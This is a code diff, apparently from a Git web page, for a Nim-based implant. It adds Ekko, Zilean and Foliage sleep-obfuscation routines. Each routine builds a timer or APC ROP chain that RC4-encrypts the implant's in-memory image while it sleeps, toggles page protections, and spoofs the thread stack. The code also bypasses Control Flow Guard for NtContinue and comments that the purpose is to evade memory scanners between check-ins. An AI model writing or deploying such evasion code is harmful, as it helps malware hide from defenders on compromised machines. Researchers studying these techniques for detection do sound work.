ctx[gadget].Rcx = cast[DWORD64](hEventEnd)
|
ctx[gadget].Rcx = cast[DWORD64](hEventEnd)
|
||||||
ctx[gadget].Rdx = cast[DWORD64](NULL)
|
ctx[gadget].Rdx = cast[DWORD64](NULL)
|
||||||
|
|
||||||
@@ -421,19 +277,181 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
|
|||||||
for i in 0 .. gadget:
|
for i in 0 .. gadget:
|
||||||
delay += 100
|
delay += 100
|
||||||
|
|
||||||
if mode == EKKO:
|
status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
if status != STATUS_SUCCESS:
|
||||||
if status != STATUS_SUCCESS:
|
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
|
||||||
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
|
|
||||||
|
|
||||||
elif mode == ZILEAN:
|
echo protect("[*] Sleep obfuscation start.")
|
||||||
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
|
||||||
if status != STATUS_SUCCESS:
|
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||||
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||||
|
|
||||||
|
echo protect("[*] Sleep obfuscation end.")
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
sleep(sleepDelay)
|
||||||
|
echo protect("[-] "), err.msg
|
||||||
|
|
||||||
|
|
||||||
|
#[
|
||||||
|
Zilean sleep obfuscation based on Timers API using RtlRegisterWait
|
||||||
|
]#
|
||||||
|
proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var bool = true) =
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
ctx: array[10, CONTEXT]
|
||||||
|
ctxInit: CONTEXT
|
||||||
|
ctxBackup: CONTEXT
|
||||||
|
ctxSpoof: CONTEXT
|
||||||
|
hThread: HANDLE
|
||||||
|
hEventTimer: HANDLE
|
||||||
|
hEventWait: HANDLE
|
||||||
|
hEventStart: HANDLE
|
||||||
|
hEventEnd: HANDLE
|
||||||
|
timer: HANDLE
|
||||||
|
oldProtection: DWORD = 0
|
||||||
|
delay: DWORD = 0
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Create events
|
||||||
|
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
|
defer: CloseHandle(hEventTimer)
|
||||||
|
|
||||||
|
status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
|
defer: CloseHandle(hEventWait)
|
||||||
|
|
||||||
|
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
|
defer: CloseHandle(hEventStart)
|
||||||
|
|
||||||
|
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
|
defer: CloseHandle(hEventEnd)
|
||||||
|
|
||||||
|
delay += 100
|
||||||
|
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
|
||||||
|
|
||||||
|
delay += 100
|
||||||
|
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
|
||||||
|
|
||||||
|
# Wait for events to finish before continuing
|
||||||
|
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
|
||||||
|
|
||||||
|
if spoofStack:
|
||||||
|
# Stack duplication
|
||||||
|
# Create handle to the current process
|
||||||
|
# Retrieve a random thread context from the current process
|
||||||
|
ctxSpoof = GetRandomThreadCtx()
|
||||||
|
if ctxSpoof == cast[CONTEXT](0):
|
||||||
|
# If no suitable thread is found for stack spoofing, continue without it
|
||||||
|
spoofStack = false
|
||||||
|
|
||||||
|
if spoofStack:
|
||||||
|
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
||||||
|
defer: CloseHandle(hThread)
|
||||||
|
|
||||||
|
# Preparing the ROP chain
|
||||||
|
# Initially, each element in this array will have the same context as the timer's thread context
|
||||||
|
for i in 0 ..< ctx.len():
|
||||||
|
copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
|
||||||
|
dec(ctx[i].Rsp, sizeof(PVOID)) # Stack alignment, due to the RSP register being incremented by the size of a pointer
|
||||||
|
|
||||||
|
var gadget = 0
|
||||||
|
|
||||||
|
# ROP Chain
|
||||||
|
# ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](NtWaitForSingleObject)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](hEventStart)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](FALSE)
|
||||||
|
ctx[gadget].R8 = cast[DWORD64](NULL)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](img.Buffer)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](img.Length)
|
||||||
|
ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE)
|
||||||
|
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
if spoofStack:
|
||||||
|
# ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
|
||||||
|
ctxBackup.ContextFlags = CONTEXT_ALL
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](GetThreadContext)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](hThread)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](SetThreadContext)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](hThread)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](addr ctxSpoof)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess())
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
|
||||||
|
ctx[gadget].R8 = cast[DWORD64](FALSE)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
if spoofStack:
|
||||||
|
# ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](SetThreadContext)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](hThread)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](img.Buffer)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](img.Length)
|
||||||
|
ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
||||||
|
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](apis.NtSetEvent)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](hEventEnd)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](NULL)
|
||||||
|
|
||||||
|
# Executing timers
|
||||||
|
for i in 0 .. gadget:
|
||||||
|
delay += 100
|
||||||
|
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
|
||||||
|
|
||||||
echo protect("[*] Sleep obfuscation start.")
|
echo protect("[*] Sleep obfuscation start.")
|
||||||
|
|
||||||
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||||
|
|
||||||
@@ -443,21 +461,152 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
|
|||||||
sleep(sleepDelay)
|
sleep(sleepDelay)
|
||||||
echo protect("[-] "), err.msg
|
echo protect("[-] "), err.msg
|
||||||
|
|
||||||
finally:
|
|
||||||
if hEventTimer != 0:
|
#[
|
||||||
CloseHandle(hEventTimer)
|
Foliage sleep obfuscation based on Asynchronous Procedure Calls
|
||||||
hEventTimer = 0
|
]#
|
||||||
if hEventWait != 0:
|
proc sleepFoliage*(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
||||||
CloseHandle(hEventWait)
|
|
||||||
hEventWait = 0
|
var
|
||||||
if hEventStart != 0:
|
status: NTSTATUS = 0
|
||||||
CloseHandle(hEventStart)
|
ctx: array[7, CONTEXT]
|
||||||
hEventStart = 0
|
ctxInit: CONTEXT
|
||||||
if hEventEnd != 0:
|
hEventSync: HANDLE
|
||||||
CloseHandle(hEventEnd)
|
oldProtection: ULONG
|
||||||
hEventEnd = 0
|
hThread: HANDLE
|
||||||
if hThread != 0:
|
|
||||||
CloseHandle(hThread)
|
try:
|
||||||
hThread = 0
|
# Start synchronization event
|
||||||
if queue != 0:
|
status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
|
||||||
discard RtlDeleteTimerQueue(queue)
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
|
defer: CloseHandle(hEventSync)
|
||||||
|
|
||||||
|
# Start suspended thread where the APC calls will be queued and executed
|
||||||
|
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
|
||||||
|
echo fmt"[*] [{hThread.repr}] Thread created "
|
||||||
|
defer: CloseHandle(hThread)
|
||||||
|
|
||||||
|
ctxInit.ContextFlags = CONTEXT_FULL
|
||||||
|
status = apis.NtGetContextThread(hThread, addr ctxInit)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtGetContextThread " & $status.toHex())
|
||||||
|
|
||||||
|
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
|
||||||
|
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
|
||||||
|
cast[ptr PVOID](ctxInit.Rsp)[] = cast[PVOID](apis.NtTestAlert)
|
||||||
|
|
||||||
|
# Preparing the ROP chain
|
||||||
|
for i in 0 ..< ctx.len():
|
||||||
|
copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
|
||||||
|
|
||||||
|
var gadget = 0
|
||||||
|
|
||||||
|
# ctx[0] contains a call to NtWaitForSingleObject, which waits for a synchronization signal to be triggered.
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](NtWaitForSingleObject)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](hEventSync)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](FALSE)
|
||||||
|
ctx[gadget].R8 = cast[DWORD64](NULL)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](img.Buffer)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](img.Length)
|
||||||
|
ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE)
|
||||||
|
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess())
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
|
||||||
|
ctx[gadget].R8 = cast[DWORD64](FALSE)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](img.Buffer)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](img.Length)
|
||||||
|
ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
||||||
|
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
|
# ctx[6] contains the final call, which exits the created thread after all APC calls have been executed.
|
||||||
|
ctx[gadget].Rip = cast[DWORD64](ExitThread)
|
||||||
|
ctx[gadget].Rcx = cast[DWORD64](0)
|
||||||
|
|
||||||
|
# Queueing the chain
|
||||||
|
for i in 0 .. gadget:
|
||||||
|
status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtQueueApcThread " & $status.toHex())
|
||||||
|
|
||||||
|
# Start sleep obfuscation
|
||||||
|
status = apis.NtAlertResumeThread(hThread, NULL)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
|
||||||
|
|
||||||
|
echo protect("[*] Sleep obfuscation start.")
|
||||||
|
|
||||||
|
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||||
|
|
||||||
|
echo protect("[*] Sleep obfuscation end.")
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
sleep(sleepDelay)
|
||||||
|
echo protect("[-] "), err.msg
|
||||||
|
|
||||||
|
# Sleep obfuscation implemented in various techniques
|
||||||
|
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoofStack: var bool = true) =
|
||||||
|
|
||||||
|
if sleepDelay == 0:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Initialize required API functions
|
||||||
|
let apis = initApis()
|
||||||
|
|
||||||
|
echo fmt"[*] Sleepmask settings: Technique: {$mode}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
|
||||||
|
|
||||||
|
var img: USTRING = USTRING(Length: 0)
|
||||||
|
var key: USTRING = USTRING(Length: 0)
|
||||||
|
|
||||||
|
# Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG
|
||||||
|
discard evadeCFG(apis.NtContinue)
|
||||||
|
|
||||||
|
# Locate image base and size
|
||||||
|
var imageBase = GetModuleHandleA(NULL)
|
||||||
|
var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
|
||||||
|
img.Buffer = cast[PVOID](imageBase)
|
||||||
|
img.Length = imageSize
|
||||||
|
|
||||||
|
# Generate random encryption key
|
||||||
|
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
|
||||||
|
key.Buffer = keyBuffer.addr
|
||||||
|
key.Length = cast[DWORD](keyBuffer.len())
|
||||||
|
|
||||||
|
# Execute sleep obfuscation technique
|
||||||
|
case mode:
|
||||||
|
of EKKO:
|
||||||
|
sleepEkko(apis, key, img, sleepDelay, spoofStack)
|
||||||
|
of ZILEAN:
|
||||||
|
sleepZilean(apis, key, img, sleepDelay, spoofStack)
|
||||||
|
of FOLIAGE:
|
||||||
|
sleepFoliage(apis, key, img, sleepDelay)
|
||||||
|
|
||||||
|
|||||||
@@ -36,8 +36,8 @@ proc main() =
|
|||||||
while true:
|
while true:
|
||||||
|
|
||||||
# Sleep obfuscation with stack spoofing to evade memory scanners
|
# Sleep obfuscation with stack spoofing to evade memory scanners
|
||||||
var spoofStack = true
|
var spoof = true
|
||||||
sleepObfuscate(ctx.sleep * 1000, FOLIAGE, spoofStack)
|
sleepObfuscate(ctx.sleep * 1000, spoofStack = spoof)
|
||||||
|
|
||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
echo "\n", fmt"[*] [{date}] Checking in."
|
echo "\n", fmt"[*] [{date}] Checking in."
|
||||||
|
|||||||
Reference in New Issue
Block a user